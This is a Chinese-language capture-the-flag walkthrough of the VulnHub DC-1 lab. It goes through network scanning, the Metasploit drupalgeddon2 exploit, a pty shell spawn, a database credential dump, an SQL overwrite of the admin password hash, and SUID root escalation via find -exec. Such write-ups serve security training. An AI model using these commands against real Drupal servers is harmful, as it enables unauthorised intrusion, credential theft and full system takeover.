Vuln hub 渗透测试实战
Vulnhub是一个开放的安全靶场,我们可以使用它所提供的环境进行渗透测试实战。
DC所有环境下载地址:https://www.vulnhub.com/series/dc,199/
环境搭建:
1.下载 OVA(Open Virtualization Appliance:开放虚拟化设备)https://www.vulnhub.com/entry/dc-1-1,292/
2.拖入 VMware 打开,配置相关设置,开启运行
3.打开 Kali Linux
进行渗透
1.探测存活目标
有很多方式进行探测,这里我使用 arp scan(速度较快)
使用 arp-scan 进行内网探测主机
arp-scan -l
发现有 119 为 Vmware Inc,疑似可以进行渗透
2.探测目标开放端口
探测网段内所有主机是否开启22,23,3306,80端口,若开启则列出详细信息
nmap -sV -p 22,23,3306,80 192.168.1.0/24
发现该主机开放 80 端口,使用了 Apache 服务,可以对其进行渗透测试
3.访问该主机
发现 Drupal 框架,使用 msf 工具进行攻击(msf将多数漏洞集成了模块可以直接使用)
漏洞利用
1.打开 msfconsole 查找 drupal 相关模块
msfconsole #打开 msf 工具
2.寻找 drupal 相关模块
search drupal #寻找 drupal 相关模块
优先使用 时间新,rank高的模块(或自己根据情况进行判断)
3.使用相关模块
msf> use exploit/unix/webapp/drupal_drupalgeddon2 #使用该模块
4.查看所有设置
msf exploit> show options #显示所有设置
Required 为 yes 是需要配置的项,这里只有 RHOSTS (目标 ip 地址)没有设置
5.设置目标 ip 并执行
set rhosts 192.168.1.119 #设置目标 ip run #开始攻击
如果成功就会拿到对方的 shell ,输入 shell 命令得到对方命令窗口,ls 发现 flag1
6.使用 cat 打印出 flag1 内容,发现下一步提示 “配置文件”
(每个好的CMS都需要一个配置文件,你也需要一个配置文件。)
7.找到配置文件,在 www 目录 ls 发现 sites 目录,进入目录
8.找到配置文件,使用 cat 打印,发现 flag2 ,及 mysql 用户名和密码
(蛮力和字典攻击不是获得访问的唯一方法(您将需要访问)。您可以使用这些凭据做什么?)
9.根据上一步提示我们来看一下数据库
因为当前 shell 没有提示,所以我们使用 python 弹回一个新 shell
python -c 'import pty;pty.spawn("/bin/sh")'
输入账号密码,进入数据库
查看信息:
mysql> show databases; #列出所有数据库
mysql> use drupaldb; #进入 drupaldb 数据库
mysql> show tables; #列出当前数据库所有表
select * from users; #列出 users 表中所有内容
发现有用户名及密码 hash 值
10.更改 admin 密码
退出 mysql 命令行,测试 find 命令是否能够使用并进行利用
compgen -c #查看当前可用命令
find / -name "*pass*" #查看所有带有pass的文件
发现 find 命令可以使用,查找所有带有 pass 的文件,发现 www 目录下有 /var/www/scripts/password-hash.sh 文件,使用 cat 打印
#!/usr/bin/php
<?php
/**
* Drupal hash script - to generate a hash from a plaintext password
*
* Check for your PHP interpreter - on Windows you'll probably have to
* replace line 1 with
* #!c:/program files/php/php.exe
*
* @param password1 [password2 [password3 ...]]
* Plain-text passwords in quotes (or with spaces backslash escaped).
*/
if (version_compare(PHP_VERSION, "5.2.0", "<")) {
$version = PHP_VERSION;
echo <<<EOF
ERROR: This script requires at least PHP version 5.2.0. You invoked it with
PHP version {$version}.
\n
EOF;
exit;
}
$script = basename(array_shift($_SERVER['argv']));
if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {
echo <<<EOF
Generate Drupal password hashes from the shell.
Usage: {$script} [OPTIONS] "<plan-text password>"
Example: {$script} "mynewpassword"
All arguments are long options.
--help Print this page.
--root <path>
Set the working directory for the script to the specified path.
To execute this script this has to be the root directory of your
Drupal installation, e.g. /home/www/foo/drupal (assuming Drupal
running on Unix). Use surrounding quotation marks on Windows.
"<password1>" ["<password2>" ["<password3>" ...]]
One or more plan-text passwords enclosed by double quotes. The
output hash may be manually entered into the {users}.pass field to
change a password via SQL to a known value.
To run this script without the --root argument invoke it from the root directory
of your Drupal installation as
./scripts/{$script}
\n
EOF;
exit;
}
$passwords = array();
// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {
switch ($param) {
case '--root':
// Change the working directory.
$path = array_shift($_SERVER['argv']);
if (is_dir($path)) {
chdir($path);
}
break;
default:
// Add a password to the list to be processed.
$passwords[] = $param;
break;
}
}
define('DRUPAL_ROOT', getcwd());
include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';
foreach ($passwords as $password) {
print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");
分析代码发现是生成 hash 值的 PHP 代码,使用方法:
php scripts/password-hash.sh + 转换hash的值
使用该代码将 123456 的 hash 列出
重新进入数据库,update 进行更新 admin 用户密码
update drupaldb.users set pass = '$S$DVtWXRBEHZhH2qEOet/QhIN0m6meN5nNsKLAkioBygXI8PBuQAtF' where name = 'admin';
11.使用用户名密码登入 Drupal cms,在 Dashboard 找到 flag3
flag3:Special PERMS will help FIND the passwd - but yo 'll need to -exec that command to work out how to get what’sin the shadow.
特殊的 perms 会帮助你找到通行证,但是你需要执行 -exec 这个命令才能弄清楚如何在 shadow 中得到什么。
12.根据上一步提示来获取 root 权限(SUID提权)
SUID可以让调用者以文件拥有者的身份运行该文件,
所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,
那么我们运行该文件的时候就得获得root用户的身份了。
以下3条命令根据个人情况自行选择,我是 kali 系统,我这里选择第一个
find / -user root -perm -4000 -print 2>/dev/null 或
find / -perm -u=s -type f 2>/dev/null 或
find / -user root -perm -4000 -exec ls -ldb {} \;
#使用 find 查找 root 用户创建权限 4000 的文件
/ 表示从系统的根目录开始遍历所有目录
-perm 表示搜索的权限
-user root 或 -u=s表示查找 root 用户拥有的文件
-type 表示寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
利用find执行进行提权
find flag1.txt -exec whoami \; #查看创建 flag1.txt 文件用户的权限
find flag1.txt -exec '/bin/sh' \; #使用 find 以 flag1.txt 创建者身份回弹 shell
使用 find 命令查找 flag,发现 flag4 和 thefinalflag
flag4:
是否可以使用相同的方法查找或访问根中的标志?可能吧。但也许没那么容易还是很容易?
(正常方法或许是进入 flag4 用户,我这直接获取了 root 权限)
thefinalflag:
干得好!
希望你已经享受了这一切,并学到了一些新的技巧。你可以通过 twitter -@DCAU7 联系我,让我知道你对这段小旅程的看法。